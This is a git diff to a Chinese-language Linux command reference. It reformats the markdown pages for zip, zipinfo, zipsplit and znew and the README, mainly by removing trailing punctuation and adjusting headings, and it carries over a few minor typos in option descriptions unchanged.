--f:此参数的效果和指定“-u”参数类似,但不仅更新既有文件,如果某些文件原本不存在于压缩文件内,使用本参数会一并将其加入压缩文件中; --F:尝试修复已损坏的压缩文件; --g:将文件压缩后附加在已有的压缩文件之后,而非另行建立新的压缩文件; --h:在线帮助; --i<范本样式>:只压缩符合条件的文件; --j:只保存文件名称及其内容,而不存放任何目录名称; --J:删除压缩文件前面不必要的数据; --k:使用MS-DOS兼容格式的文件名称; --l:压缩文件时,把LF字符置换成LF+CR字符; --ll:压缩文件时,把LF+cp字符置换成LF字符; --L:显示版权信息; --m:将文件压缩并加入压缩文件后,删除原始文件,即把文件移到压缩文件中; --n<字尾字符串>:不压缩具有特定字尾字符串的文件; --o:以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同; --q:不显示指令执行过程; --r:递归处理,将指定目录下的所有文件和子目录一并处理; --S:包含系统和隐藏文件; --t<日期时间>:把压缩文件的日期设成指定的日期; --T:检查备份文件内的每个文件是否正确无误; --u:更换较新的文件到压缩文件内; --v:显示指令执行过程或显示版本信息; --V:保存VMS操作系统的文件属性; --w:在文件名称里假如版本编号,本参数仅在VMS操作系统下有效; --x<范本样式>:压缩时排除符合条件的文件; --X:不保存额外的文件属性; --y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效; --z:替压缩文件加上注释; --$:保存第一个被压缩文件所在磁盘的卷册名称; --<压缩效率>:压缩效率是一个介于1~9的数值。 +-A:调整可执行的自动解压缩文件 +-b<工作目录>:指定暂时存放文件的目录 +-c:替每个被压缩的文件加上注释 +-d:从压缩文件内删除指定的文件 +-D:压缩文件内不建立目录名称 +-f:此参数的效果和指定“-u”参数类似,但不仅更新既有文件,如果某些文件原本不存在于压缩文件内,使用本参数会一并将其加入压缩文件中 +-F:尝试修复已损坏的压缩文件 +-g:将文件压缩后附加在已有的压缩文件之后,而非另行建立新的压缩文件 +-h:在线帮助 +-i<范本样式>:只压缩符合条件的文件 +-j:只保存文件名称及其内容,而不存放任何目录名称 +-J:删除压缩文件前面不必要的数据 +-k:使用MS-DOS兼容格式的文件名称 +-l:压缩文件时,把LF字符置换成LF+CR字符 +-ll:压缩文件时,把LF+cp字符置换成LF字符 +-L:显示版权信息 +-m:将文件压缩并加入压缩文件后,删除原始文件,即把文件移到压缩文件中 +-n<字尾字符串>:不压缩具有特定字尾字符串的文件 +-o:以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同 +-q:不显示指令执行过程 +-r:递归处理,将指定目录下的所有文件和子目录一并处理 +-S:包含系统和隐藏文件 +-t<日期时间>:把压缩文件的日期设成指定的日期 +-T:检查备份文件内的每个文件是否正确无误 +-u:更换较新的文件到压缩文件内 +-v:显示指令执行过程或显示版本信息 +-V:保存VMS操作系统的文件属性 +-w:在文件名称里假如版本编号,本参数仅在VMS操作系统下有效 +-x<范本样式>:压缩时排除符合条件的文件 +-X:不保存额外的文件属性 +-y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效 +-z:替压缩文件加上注释 +-$:保存第一个被压缩文件所在磁盘的卷册名称 +-<压缩效率>:压缩效率是一个介于1~9的数值 ``` ### 参数 -* zip压缩包:指定要创建的zip压缩包; -* 文件列表:指定要压缩的文件列表。 +* zip压缩包:指定要创建的zip压缩包 +* 文件列表:指定要压缩的文件列表 -### 实例 +## 实例 将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的html.zip: diff --git a/Linux_man_cn/zipinfo.md b/Linux_man_cn/zipinfo.md index 7d9c17c..f1a037a 100644 --- a/Linux_man_cn/zipinfo.md +++ b/Linux_man_cn/zipinfo.md @@ -5,9 +5,9 @@ zipinfo ## 说明 -**zipinfo命令** 用来列出压缩文件信息。执行zipinfo指令可得知zip压缩文件的详细信息。 +**zipinfo命令** 用来列出压缩文件信息。执行zipinfo指令可得知zip压缩文件的详细信息 -### 语法 +## 选项 ``` zipinfo(选项)(参数) @@ -16,22 +16,22 @@ zipinfo(选项)(参数) ``` --1:只列出文件名称; --2:此参数的效果和指定“-1”参数类似,但可搭配“-h”,“-t”和“-z”参数使用; --h:只列出压缩文件的文件名称; --l:此参数的效果和指定“-m”参数类似,但会列出原始文件的大小而非每个文件的压缩率; --m:此参数的效果和指定“-s”参数类似,但多会列出每个文件的压缩率; --M:若信息内容超过一个画面,则采用类似more指令的方式列出信息; --s:用类似执行“ls-l”指令的效果列出压缩文件内容; --t:只列出压缩文件内所包含的文件数目,压缩前后的文件大小及压缩率; --T:将压缩文件内每个文件的日期时间用年,月,日,时,分,秒的顺序列出; --v:详细显示压缩文件内每一个文件的信息; --x<范本样式>:不列出符合条件的文件的信息; --z:如果压缩文件内含有注释,就将注释显示出来。 +-1:只列出文件名称 +-2:此参数的效果和指定“-1”参数类似,但可搭配“-h”,“-t”和“-z”参数使用 +-h:只列出压缩文件的文件名称 +-l:此参数的效果和指定“-m”参数类似,但会列出原始文件的大小而非每个文件的压缩率 +-m:此参数的效果和指定“-s”参数类似,但多会列出每个文件的压缩率 +-M:若信息内容超过一个画面,则采用类似more指令的方式列出信息 +-s:用类似执行“ls-l”指令的效果列出压缩文件内容 +-t:只列出压缩文件内所包含的文件数目,压缩前后的文件大小及压缩率 +-T:将压缩文件内每个文件的日期时间用年,月,日,时,分,秒的顺序列出 +-v:详细显示压缩文件内每一个文件的信息 +-x<范本样式>:不列出符合条件的文件的信息 +-z:如果压缩文件内含有注释,就将注释显示出来 ``` ### 参数 -文件:指定zip格式的压缩包。 +文件:指定zip格式的压缩包 diff --git a/Linux_man_cn/zipsplit.md b/Linux_man_cn/zipsplit.md index 0048741..714df9f 100644 --- a/Linux_man_cn/zipsplit.md +++ b/Linux_man_cn/zipsplit.md @@ -5,9 +5,9 @@ zipsplit ## 说明 -**zipsplit命令** 用于将较大的“zip”压缩包分割成各个较小的“zip”压缩包。 +**zipsplit命令** 用于将较大的“zip”压缩包分割成各个较小的“zip”压缩包 -### 语法 +## 选项 ``` zipsplit(选项)(参数) @@ -16,13 +16,13 @@ zipsplit(选项)(参数) ``` --n:指定分割后每个zip文件的大小; --t:报告将要产生的较小的zip文件的大小; --b:指定分割后的zip文件的存放位置。 +-n:指定分割后每个zip文件的大小 +-t:报告将要产生的较小的zip文件的大小 +-b:指定分割后的zip文件的存放位置 ``` ### 参数 -文件:指定要分割的zip压缩包。 +文件:指定要分割的zip压缩包 diff --git a/Linux_man_cn/znew.md b/Linux_man_cn/znew.md index 0a91c01..c7d6ccc 100644 --- a/Linux_man_cn/znew.md +++ b/Linux_man_cn/znew.md @@ -5,9 +5,9 @@ znew ## 说明 -**znew命令** 用于将使用compress命令压缩的“.Z”压缩包重新转化为使用gzip命令压缩的“.gz”压缩包。 +**znew命令** 用于将使用compress命令压缩的“.Z”压缩包重新转化为使用gzip命令压缩的“.gz”压缩包 -### 语法 +## 选项 ``` znew(选项)(参数) @@ -16,16 +16,16 @@ znew(选项)(参数) ``` --f:强制执行转换操作,即是目标“.gz”已经存在; --t:删除原文件前测试新文件; --v:显示文件名和每个文件的压缩比; --9:食用油花的压缩比,速度较慢; --P:使用管道完成转换操作,以降低磁盘空间使用; --K:当“.Z”文件比“.gz”文件小时,保留“.Z”文件。 +-f:强制执行转换操作,即是目标“.gz”已经存在 +-t:删除原文件前测试新文件 +-v:显示文件名和每个文件的压缩比 +-9:食用油花的压缩比,速度较慢 +-P:使用管道完成转换操作,以降低磁盘空间使用 +-K:当“.Z”文件比“.gz”文件小时,保留“.Z”文件 ``` ### 参数 -文件:指定compress指令压缩生成的“.Z”压缩包。 +文件:指定compress指令压缩生成的“.Z”压缩包 diff --git a/README.md b/README.md index 58140bf..85999b7 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # nothing 站在巨人的肩上!!! -仰望天空,脚踏实地。 +仰望天空,脚踏实地 不鸣则已,一鸣惊人! -Linux_man_cn Forked from ;以markdownlint格式化文件,更新老旧信息。 -其他借鉴网络教程和分享,参考官方文档。完善确认无误作为学习和复习的资料。 \ No newline at end of file +Linux_man_cn Forked from ;以markdownlint格式化文件,更新老旧信息 +其他借鉴网络教程和分享,参考官方文档。完善确认无误作为学习和复习的资料 \ No newline at end of file